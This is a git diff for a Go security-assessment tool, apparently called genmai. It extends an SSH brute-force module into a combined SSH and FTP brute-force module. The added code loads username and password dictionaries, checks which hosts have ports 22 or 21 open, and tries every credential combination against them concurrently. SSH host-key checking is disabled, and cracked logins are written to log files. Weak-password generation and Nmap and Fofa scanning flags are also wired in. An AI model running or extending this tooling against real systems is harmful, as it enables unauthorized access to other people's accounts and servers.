diff --git a/src/genmai/ArgParser/ParameterParser.go b/src/genmai/ArgParser/ParameterParser.go index c848d4077d920caa494aa013143fa988e2f2abab..deaddaef037dc9921331123fd1ae585a4ea05e57 100644 --- a/src/genmai/ArgParser/ParameterParser.go +++ b/src/genmai/ArgParser/ParameterParser.go @@ -1,271 +1,297 @@ package ArgParser -import( +import ( "flag" "fmt" + "log" + "main/genmai" "main/genmai/Pool" - "main/genmai/RemoteCheck" - "strings" - "strconv" - "log" - "main/genmai" - "main/tools/SSHExplosion" - "main/tools/FastScan" - ) + "main/genmai/RemoteCheck" + "main/tools/Explosion" + "main/tools/FastScan" + "strconv" + "strings" +) var Num int -func ParameterParser(sSystem string,sKernel string,sWeb string,sBaseLine string,sAll string,PoolStatNum int,ParserNum int,Update string ,IP string,help string){ - Request:=make(map[string]string) - var ipCheck string - ipList := make([]string,0) - Num=0 - if sSystem!="false"{ - if sSystem=="All" || sSystem=="all"{ - Request["system"] = sSystem - Num=Num+1 - }else{ - //检测函数检测安全性 - //单独检查某个项目 - LegalSystem:=ArgCheck(sSystem) - if LegalSystem=="true"{ - Request["system"] = sSystem - Num=Num+1 - }else{ - fmt.Println("system参数不合规") - } - } - } - if sKernel!="false"{ - if sKernel=="All" || sKernel=="all"{ - Request["kernel"] = sKernel - Num=Num+1 - }else{ - //检测函数检测安全性 - //单独检查某个项目 - LegalKernel:=ArgCheck(sKernel) - if LegalKernel=="true"{ - Request["kernel"] = sKernel - Num=Num+1 - }else{ - fmt.Println("kernel参数不合规") - } - } - - } +func ParameterParser(sSystem string, sKernel string, sWeb string, sBaseLine string, sAll string, PoolStatNum int, ParserNum int, Update string, IP string, help string) { + Request := make(map[string]string) + var ipCheck string + ipList := make([]string, 0) + Num = 0 + if sSystem != "false" { + if sSystem == "All" || sSystem == "all" { + Request["system"] = sSystem + Num = Num + 1 + } else { + //检测函数检测安全性 + //单独检查某个项目 + LegalSystem := ArgCheck(sSystem) + if LegalSystem == "true" { + Request["system"] = sSystem + Num = Num + 1 + } else { + fmt.Println("system参数不合规") + } + } + } - if sWeb!="false" && IP!="false"{ - if sWeb=="All" || sWeb=="all"{ - ipCheck,ipList=IPCheck(IP) - if ipCheck=="true"{ - Request["web"] = sWeb - Num=Num+1 - }else{ - fmt.Println("IP参数不合规") - } - }else{ - //检测函数检测安全性 - //单独检查某个项目 - LegalWeb:=ArgCheck(sWeb) - ipCheck,ipList=IPCheck(IP) - if ipCheck=="true"&&LegalWeb=="true"{ - Request["web"] = sWeb - Num=Num+1 - }else{ - fmt.Println("参数不合规") - } - } - }else if sWeb!="false" && IP=="false"{ - fmt.Println("请输入IP参数") - return - }else if sWeb=="false" && IP!="false"{ - fmt.Println("请输入web参数") - return - } + if sKernel != "false" { + if sKernel == "All" || sKernel == "all" { + Request["kernel"] = sKernel + Num = Num + 1 + } else { + //检测函数检测安全性 + //单独检查某个项目 + LegalKernel := ArgCheck(sKernel) + if LegalKernel == "true" { + Request["kernel"] = sKernel + Num = Num + 1 + } else { + fmt.Println("kernel参数不合规") + } + } + } - if sBaseLine!="false"{ - if sBaseLine=="All" || sBaseLine=="all"{ - Request["baseline"] = sBaseLine - Num=Num+1 - }else{ - //检测函数检测安全性 - //单独检查某个项目 - LegalBaseline:=ArgCheck(sBaseLine) - if LegalBaseline=="true"{ - Request["baseline"] = sBaseLine - Num=Num+1 - }else{ - fmt.Println("BaseLine参数不合规") - } - } - } + if sWeb != "false" && IP != "false" { + if sWeb == "All" || sWeb == "all" { + ipCheck, ipList = IPCheck(IP) + if ipCheck == "true" { + Request["web"] = sWeb + Num = Num + 1 + } else { + fmt.Println("IP参数不合规") + } + } else { + //检测函数检测安全性 + //单独检查某个项目 + LegalWeb := ArgCheck(sWeb) + ipCheck, ipList = IPCheck(IP) + if ipCheck == "true" && LegalWeb == "true" { + Request["web"] = sWeb + Num = Num + 1 + } else { + fmt.Println("参数不合规") + } + } + } else if sWeb != "false" && IP == "false" { + fmt.Println("请输入IP参数") + return + } else if sWeb == "false" && IP != "false" { + fmt.Println("请输入web参数") + return + } - if sAll=="true"{ - if sSystem=="false"&&sKernel=="false"&&sWeb=="false"&&sBaseLine=="false" { - Request["kernel"] = sKernel - Request["system"] = sSystem - Request["baseline"] = sBaseLine - }else{ - fmt.Println("Only allow all") - return - } - } + if sBaseLine != "false" { + if sBaseLine == "All" || sBaseLine == "all" { + Request["baseline"] = sBaseLine + Num = Num + 1 + } else { + //检测函数检测安全性 + //单独检查某个项目 + LegalBaseline := ArgCheck(sBaseLine) + if LegalBaseline == "true" { + Request["baseline"] = sBaseLine + Num = Num + 1 + } else { + fmt.Println("BaseLine参数不合规") + } + } + } - if Update=="true"{ - if sSystem=="false"&&sKernel=="false"&&sWeb=="false"&&sBaseLine=="false" { - fmt.Println("Updating") - return - }else{ - fmt.Println("The update process does not allow other processes") - return - } - } + if sAll == "true" { + if sSystem == "false" && sKernel == "false" && sWeb == "false" && sBaseLine == "false" { + Request["kernel"] = sKernel + Request["system"] = sSystem + Request["baseline"] = sBaseLine + } else { + fmt.Println("Only allow all") + return + } + } - if help=="true"{ - flag.PrintDefaults() - } + if Update == "true" { + if sSystem == "false" && sKernel == "false" && sWeb == "false" && sBaseLine == "false" { + fmt.Println("Updating") + return + } else { + fmt.Println("The update process does not allow other processes") + return + } + } - if sSystem=="false"&&sKernel=="false"&&sWeb=="false"&&sBaseLine=="false"&&sAll!="true"&&Update!="true"&&help!="true"{ - fmt.Println("err,Please enter parameters") - return - } + if help == "true" { + flag.PrintDefaults() + } - //协程最大值为200 - if ParserNum<0 || ParserNum>500{ - fmt.Println("协程最大值为0-500") - return - }else{ - poolNum:=ParserNum - fmt.Println("info:Genmai enable default coprocess",poolNum) - } - Pool.CoprogramPool(Request,ipList) -} + if sSystem == "false" && sKernel == "false" && sWeb == "false" && sBaseLine == "false" && sAll != "true" && Update != "true" && help != "true" { + fmt.Println("err,Please enter parameters") + return + } -//远程参数解析 -func RemoteArgParser(SSHHost string,SSHUser string,SSHPassword string)(checkResult string){ - if SSHHost !="false" && SSHUser !="false" &&SSHPassword !="false"{ - SSHHostCheck,list:=IPCheck(SSHHost) - if SSHHostCheck !="true"{ - fmt.Println("host错误",list) - }else{ - command:="whoami" - result:=RemoteCheck.SSHConnect(SSHHost,SSHUser,SSHPassword,command) - checkResult=strconv.FormatBool(strings.Contains(result, "root")) - //windows高权校验 - if checkResult!="true"{ - checkResult=strconv.FormatBool(strings.Contains(result, "administrator")) - } - if checkResult!="true"{ - //SCP 文件 - SCPFile:=RemoteCheck.SCPFile() - if SCPFile =="true"{ - log.Println("scp file success") - }else{ - log.Println("scp file fail") - } - } - } - } - return checkResult + //协程最大值为200 + if ParserNum < 0 || ParserNum > 500 { + fmt.Println("协程最大值为0-500") + return + } else { + poolNum := ParserNum + fmt.Println("info:Genmai enable default coprocess", poolNum) + } + Pool.CoprogramPool(Request, ipList) } -//弱口令模块参数解析 -func WKPWD(WKPWD string ,PWDList []string){ - PWD:=make(map[int]string) - j:=0 - PWD[0] ="WeakPwdGeneration/WeakPwdGeneration" //文件名 - if WKPWD=="true"{ - for i:=0;i>") - // fmt.Println(config["id"]) - // ///////////////////////////// - // test gconsole - // gcon.Draw() - - // return - - - var vul Vul //定义vul - var RAV RAVUL - var WKV WKPWDVUL - var FC FofaCommand - vul.PoolStatNum =0 - - //开始日志打印日志 - genmai.LogInit() - - //检测系统架构 - frameWork:=FrameWorkCheck.FwCheck() - if len(frameWork) > 0{ - log.Println("frameWork sure") - }else{ - return - } - - Help := flag.Bool("help", false,"") - - //识别参数,执行模块 - flag.IntVar(&vul.ParserNum, "poolNums", 100, "设置协程的数量,默认数量为0,最大数量为1000") - flag.StringVar(&vul.Web, "web", "false", "使用web漏洞的验证模块,可联合其他模块使用") - flag.StringVar(&vul.IP, "ip", "false", "设置ip,可设置ip段进行验证") - flag.StringVar(&vul.System, "system", "false", "使用系统漏洞的验证模块,可联合其他模块使用") - flag.StringVar(&vul.Kernel, "kernel", "false", "使用内核漏洞的验证模块,可联合其他模块使用") - flag.StringVar(&vul.BaseLine, "baseline", "false", "使用基线检测模块,可联合其他模块使用") - - //远程模块参数 - RA := flag.Bool("RA", false, "使用远程检测,只能单独使用模块") - flag.StringVar(&RAV.Host, "host", "false", "IP") - flag.StringVar(&RAV.Port, "port", "all", "端口") - flag.StringVar(&RAV.User, "user", "false", "用户名") - flag.StringVar(&RAV.Password, "passwd", "false", "远程登录密码") - - - - //弱密码生成模块 - WK := flag.Bool("WKPWD", false, "使用弱口令生成器模块,选用参数CPN,Name,Nums") - flag.StringVar(&WKV.CompanyName, "CPN", "0", "设置特定公司名") - flag.StringVar(&WKV.Name, "Name", "0", "设置姓名") - flag.StringVar(&WKV.Nums, "Nums", "0", "设置特殊数字(如年份)") - - // SSH爆破模块 - SSHB:= flag.Bool("SSHBurst", false, "使用SSH爆破,必用参数host,选用参数poolNums") - - // Nmap模块 - NmapScan:= flag.Bool("Nmap",false,"使用Nmap模块进行扫描,必用参数host,选用参数port") - - // Fofa模块 - Fofa:=flag.Bool("Fofa",false,"Fofa探测,必用参数FofaCom") - flag.StringVar(&FC.FofaCom, "fofaCom", "null", "设置特定公司名") - - //版本匹配,快速扫描 - FastScan := flag.Bool("FastScan", false, "使用远程检测,只能单独使用模块") - - // - All := flag.Bool("all", false, "只扫描system,kernel的所有poc以及检测baselin模块,不可联合其他参数使用") - - Update := flag.Bool("update", false, "更新程序到最新版本,不可联合其他参数使用") - - //flag解析 - flag.Parse() - - //将插件模块的值存放到数组中 - PWDList :=[...]string{WKV.CompanyName,WKV.Name,WKV.Nums} - poolNums:=strconv.Itoa(vul.ParserNum) - SSHBurstList :=[...]string{RAV.Host,poolNums} - NmapScanList :=[...]string{RAV.Host,RAV.Port} - - //初始化bool值 - sAll :=strconv.FormatBool(*All) - vul.Update=strconv.FormatBool(*Update) - vul.RemoteAssessment=strconv.FormatBool(*RA) - vul.WKPWD=strconv.FormatBool(*WK) - help:=strconv.FormatBool(*Help) - vul.SSHBurst =strconv.FormatBool(*SSHB) - vul.Nmap = strconv.FormatBool(*NmapScan) - vul.Fofa = strconv.FormatBool(*Fofa) - vul.FastScan = strconv.FormatBool(*FastScan) - - - //是否开启远程检测 - if vul.RemoteAssessment=="true"{ - checkResult:=ArgParser.RemoteArgParser(RAV.Host,RAV.User,RAV.Password) - checkResult=strings.TrimSpace(checkResult) - if checkResult=="true"{ - fmt.Println("不允许登录root/administrator用户进行验证") - log.Println("不允许登录root/administrator用户进行验证") - }else if checkResult=="false"{ - ArgParser.ParameterParser(vul.System,vul.Kernel,vul.Web,vul.BaseLine,sAll,vul.PoolStatNum,vul.ParserNum,vul.Update,vul.IP,help) - } - - }else{ - ArgParser.WKPWD(vul.WKPWD,PWDList[:]) - ArgParser.SSHBurst(vul.SSHBurst,SSHBurstList[:]) - ArgParser.NmapScan(vul.Nmap, NmapScanList[:]) - ArgParser.FofaApi(vul.Fofa,FC.FofaCom) - ArgParser.SystemFastScan(vul.FastScan) - ArgParser.ParameterParser(vul.System,vul.Kernel,vul.Web,vul.BaseLine,sAll,vul.PoolStatNum,vul.ParserNum,vul.Update,vul.IP,help) - } - return +func main() { + + // ///////////////////////////// + // test "main/genmai" + // genmai.Test() + // config := genmai.NewConfig() + // fmt.Println(">>") + // fmt.Println(config["id"]) + // ///////////////////////////// + // test gconsole + // gcon.Draw() + + // return + + var vul Vul //定义vul + var RAV RAVUL + var WKV WKPWDVUL + var FC FofaCommand + vul.PoolStatNum = 0 + + //开始日志打印日志 + genmai.LogInit() + + //检测系统架构 + frameWork := FrameWorkCheck.FwCheck() + if len(frameWork) > 0 { + log.Println("frameWork sure") + } else { + return + } + + Help := flag.Bool("help", false, "") + + //识别参数,执行模块 + flag.IntVar(&vul.ParserNum, "poolNums", 100, "设置协程的数量,默认数量为0,最大数量为1000") + flag.StringVar(&vul.Web, "web", "false", "使用web漏洞的验证模块,可联合其他模块使用") + flag.StringVar(&vul.IP, "ip", "false", "设置ip,可设置ip段进行验证") + flag.StringVar(&vul.System, "system", "false", "使用系统漏洞的验证模块,可联合其他模块使用") + flag.StringVar(&vul.Kernel, "kernel", "false", "使用内核漏洞的验证模块,可联合其他模块使用") + flag.StringVar(&vul.BaseLine, "baseline", "false", "使用基线检测模块,可联合其他模块使用") + + //远程模块参数 + RA := flag.Bool("RA", false, "使用远程检测,只能单独使用模块") + flag.StringVar(&RAV.Host, "host", "false", "IP") + flag.StringVar(&RAV.Port, "port", "all", "端口") + flag.StringVar(&RAV.User, "user", "false", "用户名") + flag.StringVar(&RAV.Password, "passwd", "false", "远程登录密码") + + //弱密码生成模块 + WK := flag.Bool("WKPWD", false, "使用弱口令生成器模块,选用参数CPN,Name,Nums") + flag.StringVar(&WKV.CompanyName, "CPN", "0", "设置特定公司名") + flag.StringVar(&WKV.Name, "Name", "0", "设置姓名") + flag.StringVar(&WKV.Nums, "Nums", "0", "设置特殊数字(如年份)") + + // SSH爆破模块 + SSHB := flag.Bool("SSHBurst", false, "使用SSH爆破,必用参数host,选用参数poolNums") + + // FTP爆破模块 + FTPB := flag.Bool("FTPBurst", false, "使用FTP爆破,必用参数host,选用参数poolNums") + + // Nmap模块 + NmapScan := flag.Bool("Nmap", false, "使用Nmap模块进行扫描,必用参数host,选用参数port") + + // Fofa模块 + Fofa := flag.Bool("Fofa", false, "Fofa探测,必用参数FofaCom") + flag.StringVar(&FC.FofaCom, "fofaCom", "null", "设置特定公司名") + + //版本匹配,快速扫描 + FastScan := flag.Bool("FastScan", false, "使用远程检测,只能单独使用模块") + + // + All := flag.Bool("all", false, "只扫描system,kernel的所有poc以及检测baselin模块,不可联合其他参数使用") + + Update := flag.Bool("update", false, "更新程序到最新版本,不可联合其他参数使用") + + //flag解析 + flag.Parse() + + //将插件模块的值存放到数组中 + PWDList := [...]string{WKV.CompanyName, WKV.Name, WKV.Nums} + poolNums := strconv.Itoa(vul.ParserNum) + SSHBurstList := [...]string{RAV.Host, poolNums} + FTPBurstList := [...]string{RAV.Host, poolNums} + NmapScanList := [...]string{RAV.Host, RAV.Port} + + //初始化bool值 + sAll := strconv.FormatBool(*All) + vul.Update = strconv.FormatBool(*Update) + vul.RemoteAssessment = strconv.FormatBool(*RA) + vul.WKPWD = strconv.FormatBool(*WK) + help := strconv.FormatBool(*Help) + vul.SSHBurst = strconv.FormatBool(*SSHB) + vul.FTPBurst = strconv.FormatBool(*FTPB) + vul.Nmap = strconv.FormatBool(*NmapScan) + vul.Fofa = strconv.FormatBool(*Fofa) + vul.FastScan = strconv.FormatBool(*FastScan) + + //是否开启远程检测 + if vul.RemoteAssessment == "true" { + checkResult := ArgParser.RemoteArgParser(RAV.Host, RAV.User, RAV.Password) + checkResult = strings.TrimSpace(checkResult) + if checkResult == "true" { + fmt.Println("不允许登录root/administrator用户进行验证") + log.Println("不允许登录root/administrator用户进行验证") + } else if checkResult == "false" { + ArgParser.ParameterParser(vul.System, vul.Kernel, vul.Web, vul.BaseLine, sAll, vul.PoolStatNum, vul.ParserNum, vul.Update, vul.IP, help) + } + + } else { + ArgParser.WKPWD(vul.WKPWD, PWDList[:]) + ArgParser.SSHBurst(vul.SSHBurst, SSHBurstList[:]) + ArgParser.FTPBurst(vul.FTPBurst, FTPBurstList[:]) + ArgParser.NmapScan(vul.Nmap, NmapScanList[:]) + ArgParser.FofaApi(vul.Fofa, FC.FofaCom) + ArgParser.SystemFastScan(vul.FastScan) + ArgParser.ParameterParser(vul.System, vul.Kernel, vul.Web, vul.BaseLine, sAll, vul.PoolStatNum, vul.ParserNum, vul.Update, vul.IP, help) + } + return } diff --git a/src/tools/SSHExplosion/CheckAlive.go b/src/tools/Explosion/CheckAlive.go similarity index 37% rename from src/tools/SSHExplosion/CheckAlive.go rename to src/tools/Explosion/CheckAlive.go index ef4ba1ef2ce1ecd6ee16f658ab39c5f206114360..ee622ab889051db0b85b27dcf75e63bf72fa9f47 100644 --- a/src/tools/SSHExplosion/CheckAlive.go +++ b/src/tools/Explosion/CheckAlive.go @@ -1,16 +1,27 @@ -package SSHExplosion +package Explosion -import( - "net" +import ( "fmt" + "net" "time" + + "github.com/jlaffaye/ftp" ) -func checkAlive(ip string) bool { +func checkSSHAlive(ip string) bool { alive := false _, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, "22"), time.Second*5) if err == nil { - alive = true + alive = true } return alive - } \ No newline at end of file +} + +func checkFTPAlive(ip string) bool { + _, err := ftp.Dial(fmt.Sprintf("%v:%v", ip, "21")) + if err != nil { + return false + } else { + return true + } +} diff --git a/src/tools/Explosion/Connect.go b/src/tools/Explosion/Connect.go new file mode 100644 index 0000000000000000000000000000000000000000..0eb385c5aba61c77ab1c6848bd9b71935c21729b --- /dev/null +++ b/src/tools/Explosion/Connect.go @@ -0,0 +1,49 @@ +package Explosion + +import ( + "fmt" + + "github.com/jlaffaye/ftp" + "golang.org/x/crypto/ssh" + + // "golang.org/x/crypto/ssh/agent" + // "log" + + "time" +) + +func SshConnect(ip, username, password string) (bool, error) { + success := false + config := &ssh.ClientConfig{ + User: username, + Auth: []ssh.AuthMethod{ + ssh.Password(password), + }, + Timeout: 5 * time.Second, + HostKeyCallback: ssh.InsecureIgnoreHostKey(), + } + client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", ip, 22), config) + if err == nil { + defer client.Close() + session, err := client.NewSession() + errRet := session.Run(" ") + if err == nil && errRet == nil { + defer session.Close() + success = true + } + } + return success, err +} + +func FTPConnect(ip, username, password string) (bool, error) { + client, err := ftp.Dial(ip) + if err != nil { + return false, nil + } + err = client.Login(username, password) + if err == nil { + client.Logout() + return true, nil + } + return false, err +} diff --git a/src/tools/SSHExplosion/SSHCoprogram.go b/src/tools/Explosion/Coprogram.go similarity index 35% rename from src/tools/SSHExplosion/SSHCoprogram.go rename to src/tools/Explosion/Coprogram.go index 90a8fbaeb516811c59454d31151650ca522b49d0..b55bd410a30142c81668408a0935931d0ab842b5 100644 --- a/src/tools/SSHExplosion/SSHCoprogram.go +++ b/src/tools/Explosion/Coprogram.go @@ -1,9 +1,10 @@ -package SSHExplosion +package Explosion + import ( "fmt" - "sync" "log" "os" + "sync" ) // Pool goroutine Pool @@ -50,83 +51,97 @@ type Task struct { ip string user string password string - } - -func SSHCoprogram(vul map[string]interface{}){ - readNameFile:=vul["readNameFile"].([]string) - readPWDFile:=vul["readPWDFile"].([]string) - host:=vul["ip"].([]string) - nums:=vul["nums"].(int) +} +func Coprogram(vul map[string]interface{}, proto string) { + readNameFile := vul["readNameFile"].([]string) + readPWDFile := vul["readPWDFile"].([]string) + host := vul["ip"].([]string) + nums := vul["nums"].(int) var tasks []Task for _, user := range readNameFile { - for _, password := range readPWDFile { - for _, ip := range host { - tasks = append(tasks, Task{ip, user, password}) - } - } + for _, password := range readPWDFile { + for _, ip := range host { + tasks = append(tasks, Task{ip, user, password}) + } + } } - - runTask(tasks,nums) - + runTask(tasks, nums, proto) } - -func runTask(tasks []Task, threads int) { +func runTask(tasks []Task, threads int, proto string) { var wg sync.WaitGroup taskCh := make(chan Task, threads*2) log.Println("开始爆破...") for i := 0; i < threads; i++ { - go func() { - for task := range taskCh { - success, _ := SshConnect(task.ip, task.user, task.password) - if success { - // fmt.Printf("破解%v成功,用户名是%v,密码是%v\n", task.ip, task.user, task.password) - file, err := os.OpenFile(`../data/log/sshLog`, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) - if err != nil { - panic(err) + go func() { + for task := range taskCh { + var success bool + if proto == "SSH" { + success, _ = SshConnect(task.ip, task.user, task.password) + } else if proto == "FTP" { + success, _ = FTPConnect(task.ip, task.user, task.password) } - defer file.Close() - file.WriteString("破解成功: ") - file.WriteString(task.ip) - file.WriteString(" ") - file.WriteString(task.user) - file.WriteString(" ") - file.WriteString(task.password) - file.WriteString("\n") - - }else{ - fmt.Printf("破解%v失败,用户名是%v,密码是%v\n",task.ip, task.user, task.password) - } - wg.Done() - } - }() + if success { + var file *os.File + if proto == "SSH" { + f, err := os.OpenFile(`../data/log/sshLog`, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) + if err != nil { + panic(err) + } + file = f + } else if proto == "FTP" { + f, err := os.OpenFile(`../data/log/ftpLog`, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) + if err != nil { + panic(err) + } + file = f + } + // fmt.Printf("破解%v成功,用户名是%v,密码是%v\n", task.ip, task.user, task.password) + + defer file.Close() + file.WriteString("破解成功: ") + file.WriteString(task.ip) + file.WriteString(" ") + file.WriteString(task.user) + file.WriteString(" ") + file.WriteString(task.password) + file.WriteString("\n") + } else { + fmt.Printf("破解%v失败,用户名是%v,密码是%v\n", task.ip, task.user, task.password) + } + wg.Done() + } + }() } for _, task := range tasks { - wg.Add(1) - taskCh <- task + wg.Add(1) + taskCh <- task } wg.Wait() close(taskCh) log.Println("爆破结束") - } - - +} -//检测开启ssh的IP -func checkAlivePool(ipList []string,nums int)(aliveIP []string){ +// 检测开启ssh的IP +func checkAlivePool(ipList []string, nums int, proto string) (aliveIP []string) { pool := New(nums) - for _,ip:=range ipList{ - pool.Add(1) + for _, ip := range ipList { + pool.Add(1) go func(ip string) { - v:=checkAlive(ip) - if v{ - aliveIP=append(aliveIP,ip) + var v bool + if proto == "SSH" { + v = checkSSHAlive(ip) + } else if proto == "FTP" { + v = checkFTPAlive(ip) + } + if v { + aliveIP = append(aliveIP, ip) } pool.Done() }(ip) } pool.Wait() return aliveIP -} \ No newline at end of file +} diff --git a/src/tools/Explosion/Explosion.go b/src/tools/Explosion/Explosion.go new file mode 100644 index 0000000000000000000000000000000000000000..512af962c75622145f28fc54b0cbf83e5a441b77 --- /dev/null +++ b/src/tools/Explosion/Explosion.go @@ -0,0 +1,19 @@ +package Explosion + +import ( + "fmt" +) + +func Exp(ipList []string, nums int, proto string) { + readNameFile, err := readFile("../data/dic/name.txt") + readPWDFile, err1 := readFile("../data/dic/dic.txt") + fmt.Println(readNameFile, err, err1) + vul := make(map[string]interface{}) + aliveIP := checkAlivePool(ipList[:], nums, proto) + + vul["readNameFile"] = readNameFile + vul["readPWDFile"] = readPWDFile + vul["ip"] = aliveIP + vul["nums"] = nums + Coprogram(vul, proto) +} diff --git a/src/tools/Explosion/ReadFile.go b/src/tools/Explosion/ReadFile.go new file mode 100644 index 0000000000000000000000000000000000000000..cb07063b0839e763be7cdb4691ae448c25b3d201 --- /dev/null +++ b/src/tools/Explosion/ReadFile.go @@ -0,0 +1,27 @@ +package Explosion + +import ( + // "log" + // "io" + "bufio" + "os" + "strings" +) + +func readFile(filename string) ([]string, error) { + file, err := os.Open(filename) + if err != nil { + return nil, err + } + defer file.Close() + scanner := bufio.NewScanner(file) + scanner.Split(bufio.ScanLines) + var result []string + for scanner.Scan() { + passwd := strings.TrimSpace(scanner.Text()) + if passwd != "" { + result = append(result, passwd) + } + } + return result, err +} diff --git a/src/tools/SSHExplosion/ReadFile.go b/src/tools/SSHExplosion/ReadFile.go deleted file mode 100644 index fda21ca9b635a85d03e403668e3f133d6786fd45..0000000000000000000000000000000000000000 --- a/src/tools/SSHExplosion/ReadFile.go +++ /dev/null @@ -1,26 +0,0 @@ -package SSHExplosion -import( - // "log" - // "io" - "os" - "bufio" - "strings" -) - -func readFile(filename string) ([]string, error) { - file, err := os.Open(filename) - if err != nil { - return nil, err - } - defer file.Close() - scanner := bufio.NewScanner(file) - scanner.Split(bufio.ScanLines) - var result []string - for scanner.Scan() { - passwd := strings.TrimSpace(scanner.Text()) - if passwd != "" { - result = append(result, passwd) - } - } - return result, err -} \ No newline at end of file diff --git a/src/tools/SSHExplosion/SSHConnect.go b/src/tools/SSHExplosion/SSHConnect.go deleted file mode 100644 index f5c222f9bcf9f413f8bede598992c6e86ce697b1..0000000000000000000000000000000000000000 --- a/src/tools/SSHExplosion/SSHConnect.go +++ /dev/null @@ -1,35 +0,0 @@ -package SSHExplosion - -import ( - - "fmt" - - "golang.org/x/crypto/ssh" - // "golang.org/x/crypto/ssh/agent" - // "log" - - "time" - -) -func SshConnect(ip, username, password string) (bool, error) { - success := false - config := &ssh.ClientConfig{ - User: username, - Auth: []ssh.AuthMethod{ - ssh.Password(password), - }, - Timeout: 5 * time.Second, - HostKeyCallback: ssh.InsecureIgnoreHostKey(), - } - client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", ip, 22), config) - if err == nil { - defer client.Close() - session, err := client.NewSession() - errRet := session.Run(" ") - if err == nil && errRet == nil { - defer session.Close() - success = true - } - } - return success, err -} \ No newline at end of file diff --git a/src/tools/SSHExplosion/SshExplosion.go b/src/tools/SSHExplosion/SshExplosion.go deleted file mode 100644 index 18e2fa88ea4092b544fc3284df5765ae10079ff3..0000000000000000000000000000000000000000 --- a/src/tools/SSHExplosion/SshExplosion.go +++ /dev/null @@ -1,19 +0,0 @@ -package SSHExplosion - -import( - "fmt" -) - -func SshExp(ipList []string ,nums int){ - readNameFile,err:=readFile("../data/dic/name.txt") - readPWDFile,err1:=readFile("../data/dic/dic.txt") - fmt.Println(readNameFile,err,err1) - vul:=make(map[string]interface{}) - aliveIP:=checkAlivePool(ipList[:],nums) - - vul["readNameFile"]=readNameFile - vul["readPWDFile"]=readPWDFile - vul["ip"]=aliveIP - vul["nums"]=nums - SSHCoprogram(vul) -} \ No newline at end of file